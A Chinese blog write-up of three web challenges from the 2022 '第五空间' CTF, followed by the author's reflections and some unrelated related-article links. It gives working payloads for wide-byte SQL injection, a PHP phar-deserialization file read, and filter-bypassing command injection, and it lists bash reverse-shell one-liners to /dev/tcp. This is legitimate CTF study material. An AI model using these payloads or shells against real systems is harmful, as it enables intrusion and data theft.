2022第五空间-web部分wp+复盘总结
打了一天,麻了,大佬tql,这次get到了不少东西,一是一个不太常见的宽字节注入,我是真的没想到,而且后面也是看了wp理解了好一会才弄明白。
0x01:
题目是一个登录框,但是基本上是过滤掉了所有的常见注入的关键词。实在是没思路,后面看了大佬wp,才发现是宽字节注入,同时还要利用虚拟表,同时还有mysql的hex编码。
payload:
admin%df%27%09ununionion%09selselectect%091,2,0x6531306164633339343962613539616262653536653035376632306638383365#&password=123456
其中 0x6531306164633339343962613539616262653536653035376632306638383365 为 password=123456d的hex(md5(password)) 利用双写+宽字节构造payload。
123456加密后的md5:e10adc3949ba59abbe56e057f20f883e
因为宽字节的问题所以利用mysql 的hex编码一下:

0x02:
一个phar读取flag的操作,遇到这题的时候,phar差不多已经忘光了,首先扫目录得到www.zip 拿到源码进行简单的审计:
开始以为是文件上传,后面一看发现是构造phar直接读。
得到class.php
<?php
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;
public function __construct(){
$this->filename = $_FILES["file"]["name"];
$this->ext = end(explode(".", $_FILES["file"]["name"]));
$this->size = $_FILES["file"]["size"] / 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}
public function start(){
return $this->check();
}
private function check(){
if(file_exists($this->filename)){
return "Image already exsists";
}elseif(!in_array($this->ext, $this->Valid_ext)){
return "Only Image Can Be Uploaded";
}else{
return $this->move();
}
}
private function move(){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
return "Upload succsess!";
}
public function __wakeup(){
echo file_get_contents($this->filename);
}
}
class check_img{
public $img_name;
public function __construct(){
$this->img_name = $_GET['img_name'];
}
public function img_check(){
if(file_exists($this->img_name)){
return "Image exsists";
}else{
return "Image not exsists";
}
}
}
构造payload:
<?php
class upload{
public $filename = "/flag";
}
#new Phar()这里定义了生成的phar文件的名字(这里定义的时候后缀是一定要.phar)
#实际上生成后后缀名也可以改(比如awsl.awsl也行),标志该文件是phar文件的是下面的__HALT那里
$phar =new Phar("awsl.phar");
$phar->startBuffering();
#这里XXX的内容随便写,注意后面的XXX如果不用;来和__HALT分割记得留个空格隔开(个人觉得后面XXX还是写个PHP语句好,省点麻烦)
#__HXXXX(注释里直接用全称会被识别)这一节在这个setStub这里必须保证这个为结尾而且不可省,标志这个为phar文件
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>");
#把要序列化的变量申明好(这里只知道能放序列化的一个变量,不知道怎么放多个(或许单个文件只能放一个序列化的变量))
$a = new upload();
#将目标变量存入(这里自动把它序列化了)
$phar->setMetadata($a);
#这里会按照文件名,文件内容的形式打包到phar文件中,当使用phar://awsl.phar://test.txt就会类似用include包含后面定义的代码(这里文件名不影响是否解析
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
phar反序列化知识点可以看一下这篇文章:利用phar扩展PHP反序列化漏洞
放到本地运行一下,这里记得需要在你PHP版本目录下的php.ini文件里面把
phar.readonly = off 这一行的注释给去掉,并且改成off

在本地运行php后,目录下会生成一个.phar的文件 因为phar是可以随便修改为jpg png gif的,所以这里直接随便改个后缀,然后上传 再读取的时候 get传参 phar://upload/文件名.jpg 即可得到flag
0x03:
一个有趣的RCE题
打开发现有个ping 操作。 结合经验猜测是rce,

爆破一下账号密码,得到账号:admin 密码:admin123

登录后发现一样的,也是ban掉了很多关键词,利用字典fuzz 一波 这里给大家推荐一个字典:Web Pentesting Fuzz 字典,一个就够了。
这里看到 %0a可以绕过。

这里利用tac%09index.php 查看源码

发现这里过滤了好多命令,看到可疑的目录kylin 但是他把kylin给ban了,构造通配符直接进行flag的读取。
payload:
?ip=%0Acd%09ky?in%0aca\t%09*
成功得到flag:
构造其他payload可以大家可以参考一下这篇:RCE漏洞之绕过
总结:
这次还是学到不少东西,最后成绩28,web队里师傅们ak了 但是最后那个sql注入我是现在还没看懂,所以就没总结了。收获蛮大的。扩展了不少的思路,get到了大佬平时的思路,rce的那题,读文件的时候,队里师傅写了个一句话木马上去,ban了那么多关键词,我是怎么也想不到怎么写上去的。按我平时的思路就是,利用常见的命令 例如echo命令写马,但ban掉了不少东西, 同时,/也被ban了,进目录是没法搞的。但是大佬的思路是啥,日志写马,日志写马倒也是想到过,可是我/给我ban掉了,当时就没想到怎么给进目录,那么自然也就没法写马了,完了请教大佬的时候,大佬给我的是这样的:

思路是这样的,但是这个绕过属实是骚操作了。

另外还get到一个思路,就是平常的rce 如果是没有过滤掉管道符这种,可以直接利用反弹shell,直接读flag
具体操作

这是linux的一些反弹shell的命令,windows的大家可以自行百度。
常用的比如:
/bin/bash -i > /dev/tcp/127.0.0.1/8080 0<& 2>&1
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
等等,骚操作还有不少,还有一些空格的绕过之类的操作。可以百度一下,有不少文章可以借鉴参考。
思路真的很重要,有时候你只能卡在一个地方走不了, 而大佬可以各种骚操作绕过等。
2022第五空间-web部分wp+复盘总结的更多相关文章
- 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])
常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...
- 2022年Web前端开发流程和学习路线(详尽版)
前言 前端侧重于人机交互和用户体验,后端侧重于业务逻辑和大规模数据处理.理论上,面向用户的产品里,所有问题(包括产品.设计.后端.甚至看不见的问题)的表现形式,都会暴露在前端,而只有部分问题(数据问题 ...
- 实验吧ctf题库web题wp
经历了学校的校赛,一度自闭,被大佬们刺激的要奋发图强. 1.后台登录 链接: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 打开题目首先查看源码, ...
- suctf2019 部分web题目的复盘
1.简单的SQL注入 一开始一直没思路,输入什么过滤什么,结束后看了大佬们的wp,感觉学到了,这里涉及到Mysql中的一个特殊模式的设置 set sql_mode=pipes_as_concat; 这 ...
- CG-CTF web部分wp
bin不动了,学学webWEB1,签到1f12,得到flag2,签到2给了输入窗口和密码,但输入后却显示错误,查看源码,发现对输入长度进行了限制,改下长度,得到flag3,md5 collision给 ...
- 【WP】【web】中学生CTF | web部分wp
$_GET 源码: <?php show_source(__FILE__); include 'config.php'; if(!isset($_GET['args'])){ die(); } ...
- BUUCTF WEB
BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...
- 水印第三版 ~ 变态水印(这次用Magick.NET来实现,附需求分析和源码)
技能 汇总:http://www.cnblogs.com/dunitian/p/4822808.html#skill 以前的水印,只是简单走起,用的是原生态的方法.现在各种变态水印,于是就不再用原生态 ...
- CentOS 6编译安装lamp,并分别安装event模块方式和FPM方式的PHP
任务目标: 编译安装LAMP 要求(1) 安装一个模块化的PHP 要求(2) 安装一个FPM的PHP 注意PHP需要最后一个安装,因为需要前两者的支持. 所以这里的安装次序为 1.httpd 2.Ma ...
随机推荐
- dotnet 控制台 使用 Microsoft.Maui.Graphics 配合 Skia 进行绘图入门
本文将告诉大家如何在 dotnet 的控制台模式下,采用 MAUI 自绘库 Microsoft.Maui.Graphics 进行绘图,设置 Microsoft.Maui.Graphics 底层调用 M ...
- c# 把网络图片http://....png 打包成zip文件
思路: 1.把网络图片下载到服务器本地. 2.读取服务器图片的文件流 3.使用zip帮助类,把图片文件流写进zip文件流. 4.如果是文件服务器,把zip文件流 推送文件服务器,生成zip的下载url ...
- 步态识别《GaitSet: Regarding Gait as a Set for Cross-View Gait Recognition》2018 CVPR
Motivation: 步态可被当作一种可用于识别的生物特征在刑侦或者安全场景发挥重要作用.但是现有的方法要么是使用步态模板(能量图与能量熵图等)导致时序信息丢失,要么是要求步态序列连续,导致灵活性差 ...
- 降低PDF质量
如果PDF尺寸过大,则需要降低其质量以缩小尺寸.在Linux下一条命令即可实现,而且效果不错: gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFS ...
- 字符输出流_Writer类&FileWriter类介绍和字符输出流的基本使用_写出单个字符到文件
java.io.Writer:字符输出流,是所有字符输出流的最顶层的父类,是一个抽象类 共性的成员方法: - void write(int c) 写入单个字符 - void write(char[] ...
- Linux sed工具的使用
基础知识 - 行编辑工具: 一行一行处理文件内容 - 全屏编辑工具:一次性将文件所有内容加载到内存中 sed编辑器: Stream Editor 工作原理: 逐行处理文件内容,一次读取一行内容到模式空 ...
- Root用户无法使用Tab补齐解决
1. sudo vim /etc/bash.bashrc 2.取消以下注释 #if [ -f /etc/bash_completion ]; then # . /etc/bash_completion ...
- APISpace 未来7天生活指数API接口 免费好用
随着经济的发展,我们的生活水平在不断的提高,生活指数在我们的生活中也越来越受到关注,根据当天的生活指数,我们就可以知道在今天我们可以干什么比较好. 未来7天生活指数API,支持国内3400+个城市 ...
- 图的存储结构大赏------数据结构C语言(图)
图的存储结构大赏------数据结构C语言(图) 本次所讲的是常有的四种结构: 邻接矩阵 邻接表 十字链表 邻接多重表 邻接矩阵 概念 两个数组,一个表示顶点的信息,一个用来表示关联的关系. 如果是无 ...
- Rails_via牛客网
题目 链接:https://ac.nowcoder.com/acm/contest/28537/D 来源:牛客网 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 32768K,其他语言 ...
